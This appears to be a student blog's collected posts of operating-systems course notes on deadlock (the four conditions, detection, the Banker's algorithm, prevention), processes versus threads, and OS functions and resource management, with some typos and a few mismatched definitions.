process at a time claims exclusive control of the resource. If another process requests that resource, the
requesting process must be delayed until the resource has been released.

2.Hold and Wait Condition

Requesting process hold already, resources while waiting for requested resources.

Explanation: There must exist a process that is holding a resource already allocated to it while waiting for
additional resource that are currently being held by other processes.

3.No-Preemptive Condition

Resources already allocated to a process cannot be preempted.

Explanation: Resources cannot be removed from the processes are used to completion or released
voluntarily by the process holding it.

4.Circular Wait Condition

The processes in the system form a circular list or chain where each process in the list is waiting
for a resource held by the next process in the list.

As an example, consider the traffic deadlock in the following figure

Consider each section of the street as a resource.

1. Mutual exclusion condition applies, since only one vehicle can be on a section of the street at a
time.

2. Hold-and-wait condition applies, since each vehicle is occupying a section of the street, and
waiting to move on to the next section of the street.

3. No-preemptive condition applies, since a section of the street that is a section of the street that is
occupied by a vehicle cannot be taken away from it.

4. Circular wait condition applies, since each vehicle is waiting on the next vehicle to move. That is,
each vehicle in the traffic is waiting for a section of street held by the next vehicle in the traffic.
The simple rule to avoid traffic deadlock is that a vehicle should only enter an intersection if it is assured
that it will not have to stop inside the intersection.
It is not possible to have a deadlock involving only one single process. The deadlock involves a circular
“hold-and-wait” condition between two or more processes, so “one” process cannot hold a resource, yet be
waiting for another resource that it is holding. In addition, deadlock is not possible between two threads in
a process, because it is the process that holds resources, not the thread that is, each thread has access to the
resources held by the process.

Dealing with Deadlock Problem

In general, there are four strategies of dealing with deadlock problem:

1.The Ostrich Approach
Just ignore the deadlock problem altogether.

2.Deadlock Detection and Recovery

Detect deadlock and, when it occurs, take steps to recover.

3.Deadlock Avoidance

Avoid deadlock by careful resource scheduling.

4.Deadlock Prevention

Prevent deadlock by resource scheduling so as to negate at least one of the four conditions.

Deadlock Detection

Deadlock detection is the process of actually determining that a deadlock exists and identifying the
processes and resources involved in the deadlock.

The basic idea is to check allocation against resource availability for all possible allocation sequences to
determine if the system is in deadlocked state a. Of course, the deadlock detection algorithm is only half
of this strategy. Once a deadlock is detected, there needs to be a way to recover several alternatives exists:

· Temporarily prevent resources from deadlocked processes.

· Back off a process to some check point allowing preemption of a needed resource and restarting
the process at the checkpoint later.

· Successively kill processes until the system is deadlock free.
These methods are expensive in the sense that each iteration calls the detection algorithm until the system
proves to be deadlock free. The complexity of algorithm is O(N2) where N is the number of proceeds.
Another potential problem is starvation; same process killed repeatedly.

Deadlock Avoidance

This approach to the deadlock problem anticipates deadlock before it actually occurs. This approach
employs an algorithm to access the possibility that deadlock could occur and acting accordingly. This
method differs from deadlock prevention, which guarantees that deadlock cannot occur by denying one of
the necessary conditions of deadlock.

If the necessary conditions for a deadlock are in place, it is still possible to avoid deadlock by being
careful when resources are allocated. Perhaps the most famous deadlock avoidance algorithm, due to
Dijkstra [1965], is the Banker’s algorithm. So named because the process is analogous to that used by a
banker in deciding if a loan can be safely made.

Banker’s Algorithm

In this analogy

Customers ≡ processes

Units ≡ resources, say, tape drive

Banker ≡ Operating System

Customers	Used	Max
A	0	6
B	0	5
C	0	4
D	0	7

Available Units=10

Fig. 1

we see four customers each of whom has been granted a number of credit nits. The
banker reserved only 10 units rather than 22 units to service them. At certain moment, the situation
becomes

Customers	Used	Max
A	1	6
B	1	5
C	2	4
D	4	7

Available Units= 2

Fig. 2

Safe State The key to a state being safe is that there is at least one way for all users to finish. In other
analogy, the state of figure 2 is safe because with 2 units left, the banker can delay any request except C's,
thus letting C finish and release all four resources. With four units in hand, the banker can let either D or
B have the necessary units and so on.

Unsafe State Consider what would happen if a request from B for one more unit were granted in above
figure 2.

We would have following situation

Customers	Used	Max
A	1	6
B	2	5
C	2	4
D	4	7

Available Units = 1

Fig. 3

This is an unsafe state.

If all the customers namely A, B, C, and D asked for their maximum loans, then banker could not satisfy
any of them and we would have a deadlock.

Deadlock Prevention

Since all four of the conditions are necessary for deadlock to occur, it follows that deadlock might be

· Elimination of “Mutual Exclusion” Condition

The mutual exclusion condition must hold only for non-sharable resources. That is, several
processes cannot simultaneously share a single resource. This condition is difficult to eliminate
because some resources, such as the tap drive and printer, are inherently non-shareable. Note that
shareable resources like read-only-file do not require mutually exclusive access and thus cannot be
involved in deadlock.

· Elimination of “Hold and Wait” Condition

There are two possibilities for elimination of the second condition. The first alternative is that a
process request be granted all of the resources it needs at once, prior to execution. The second
alternative is to disallow a process from requesting resources whenever it has previously allocated
resources. This strategy requires that all of the resources a process will need must be requested at
once. The system must grant resources on “all or none” basis. If the complete set of resources
needed by a process is not currently available, then the process must wait until the complete set is
available. While the process waits, however, it may not hold any resources. Thus the “wait for”
condition is denied and deadlocks simply cannot occur. This strategy can lead to serious waste of
resources. For example, a program requiring ten tap drives must request and receive all ten derives
before it begins executing. If the program needs only one tap drive to begin execution and then
does not need the remaining tap drives for several hours. Then substantial computer resources (9
tape drives) will sit idle for several hours. This strategy can cause indefinite postponement
(starvation). Since not all the required resources may become available at once.

· Elimination of “No-preemption” Condition

The nonpreemption condition can be alleviated by forcing a process waiting for a resource that
cannot immediately be allocated to relinquish all of its currently held resources, so that other
processes may use them to finish. Suppose a system does allow processes to hold resources while
requesting additional resources. Consider what happens when a request cannot be satisfied. A
process holds resources a second process may need in order to proceed while second process may
hold the resources needed by the first process. This is a deadlock. This strategy require that when a
process that is holding some resources is denied a request for additional resources. The process
must release its held resources and, if necessary, request them again together with additional
resources. Implementation of this strategy denies the “no-preemptive” condition effectively.
High Cost When a process release resources the process may lose all its work to that point. One
serious consequence of this strategy is the possibility of indefinite postponement (starvation). A
process might be held off indefinitely as it repeatedly requests and releases the same resources.

· Elimination of “Circular Wait” Condition

The last condition, the circular wait, can be denied by imposing a total ordering on all of the
resource types and than forcing, all processes to request the resources in order (increasing or
decreasing). This strategy impose a total ordering of all resources types, and to require that each
process requests resources in a numerical order (increasing or decreasing) of enumeration. With
this rule, the resource allocation graph can never have a cycle.

For example, provide a global numbering of all the resources, as shown

1 ≡ Card reader

2 ≡ Printer

3 ≡ Plotter

4 ≡ Tape drive

5 ≡ Card punch

Now the rule is this: processes can request resources whenever they want to, but all requests must
be made in numerical order. A process may request first printer and then a tape drive (order: 2, 4),
but it may not request first a plotter and then a printer (order: 3, 2). The problem with this strategy
is that it may be impossible to find an ordering that satisfies everyone.

Similarities between Process and Threads

2012-10-16T00:29:00.002+06:00


Both have a parent process.
Process has a process id same way thread has a thread id.
We can create a process within a process same way we can create thread within a thread 
Both process and thread has priorities.
Unlike processes, threads are not independent of one another.
Unlike processes, all threads can access every address in the task .
Unlike processes, thread are design to assist one other. Note that processes might or might not assist one another because processes may originate from different users.
Thread is a light weight process that is the only comparision. Otherwise you cannot compare both.

A thread is contained inside a process. Multiple threads can exist within the same process and share resources such as memory, while different processes do not share these resources.
A Process is an instance of a computer program, consisting of one or more threads.
Each process must have at least one thread running within it, and each thread must be running within a process.
Each process gets it own address space and memory allocation by OS, where as thread makes use of its parent process resources.
When parent process dies, all its child process dies, but v-v is not true

Difference Between Process and Threads in OS

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Process vs. Threads

-Address space

Processes do not usually share memory
Process context switch page table and other memory mechanisms
Threads in a process share the entire address space

- Privileges

Processes have their own privileges (file accesses, e.g.)
Threads in a process share all privileges

In a Brief

Both threads and processes are methods of parallelizing an application. However, processes are independent execution units that contain their own state information, use their own address spaces, and only interact with each other via interprocess communication mechanisms (generally managed by the operating system). Applications are typically divided into processes during the design phase, and a master process explicitly spawns sub-processes when it makes sense to logically separate significant application functionality. Processes, in other words, are an architectural construct.

By contrast, a thread is a coding construct that doesn't affect the architecture of an application. A single process might contains multiple threads; all threads within a process share the same state and same memory space, and can communicate with each other directly, because they share the same variables.

Threads typically are spawned for a short-term benefit that is usually visualized as a serial task, but which doesn't have to be performed in a linear manner (such as performing a complex mathematical computation using parallelism, or initializing a large matrix), and then are absorbed when no longer required. The scope of a thread is within a specific code module—which is why we can bolt-on threading without affecting the broader application.

In simplest way

An application consists of one or more processes. A process, in the simplest terms, is an executing program. One or more threads run in the context of the process. A thread is the basic unit to which the operating system allocates processor time. A thread can execute any part of the process code, including parts currently being executed by another thread.
A job object allows groups of processes to be managed as a unit. Job objects are namable, securable, sharable objects that control attributes of the processes associated with them. Operations performed on the job object affect all processes associated with the job object.
A thread pool is a collection of worker threads that efficiently execute asynchronous callbacks on behalf of the application. The thread pool is primarily used to reduce the number of application threads and provide management of the worker thread

Functions Of Operating System

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WHAT IS OPERATING SYSTEM ?

•Operating System is a software, which makes a computer to actually work.

•It is the software that enables all the programs we use.

•The OS organizes and controls the hardware.

•OS acts as an interface between the application programs and the machine hardware.

•Examples: Windows, Linux, Unix and Mac OS, etc.

FUNCTIONS of OPERATING SYSTEM

Memory Management

Process Management

Device Management

Information Management

Protection

Error Handling

Memory Management

The o/s keeps track of processors and the status of processes. It decides who will have a chance to use the processor.

Process Management

The o/s keeps track of the devices, channels, control units and decides what is an efficient way to allocate the device.

Device Management

The o/s keeps track of the devices, channels, control units and decides what is an efficient way to allocate the device.

Information Management

O/S keeps track of the information, its location, use, status etc. and decides who gets use of the resources, enforce protection requirements.

Protection

An o/s is to protect the user from unauthorized access of his files or data. And also it should protect itself from users.

Error Handling

An o/s must respond to errors by taking the appropriate actions.

Operating System as Resource Manager

2012-10-15T21:45:00.002+06:00

WHAT IS OPERATING SYSTEM ?

•Operating System is a software, which makes a computer to actually work.

•

•It is the software that enables all the programs we use.

•

•The OS organizes and controls the hardware.

•

•OS acts as an interface between the application programs and the machine hardware.

•

•Examples: Windows, Linux, Unix and Mac OS, etc.

Why Resource Manager ?

*When a computer has multiple users, the need for managing and protecting the memory, I/O devices and other devices is even greater.

*The primary task of OS is to keep track of who is using which resource, to grant resource requests, to mediate conflicting requests from different programs etc.

*Users often need to share not only hardware, but information(File, Database) as well.

Which Includes in Resource Manager ?

Resource management includes multiplexing resources in 2 ways, they are

1. In Time

2. In Space

When Resource is Time Multiplexed

*“Who goes next and for how long”- is the main task for time resource manager in OS.

*Different programs or user take turns using it.

*Multiple programs will run by allocating the CPU through OS.

*When another program gets to use the CPU, the OS will choose.

*Sharing the printer is the ideal example for time multiplexing .

When Resource is Space Multiplexed

*Main memory is normally divided up among several running programs

*OS assume enough memory to hold multiple programs

*OS hold several programs in memory at once instead of completing one by one.

*The issues of fairness, protection and so on will solve by OS.

*Hard disk is another resource manager for space multiplexed.

Operating System

2012-10-14T13:55:00.002+06:00

Our Course Instructor Nasim Mahmud has given us two assignment about OS.
1. Functions of OS
2. OS as Resource Manager

Live scores

2011-03-25T23:49:00.000+06:00

Interview

2010-09-22T12:21:00.003+06:00

Today I am going to an interview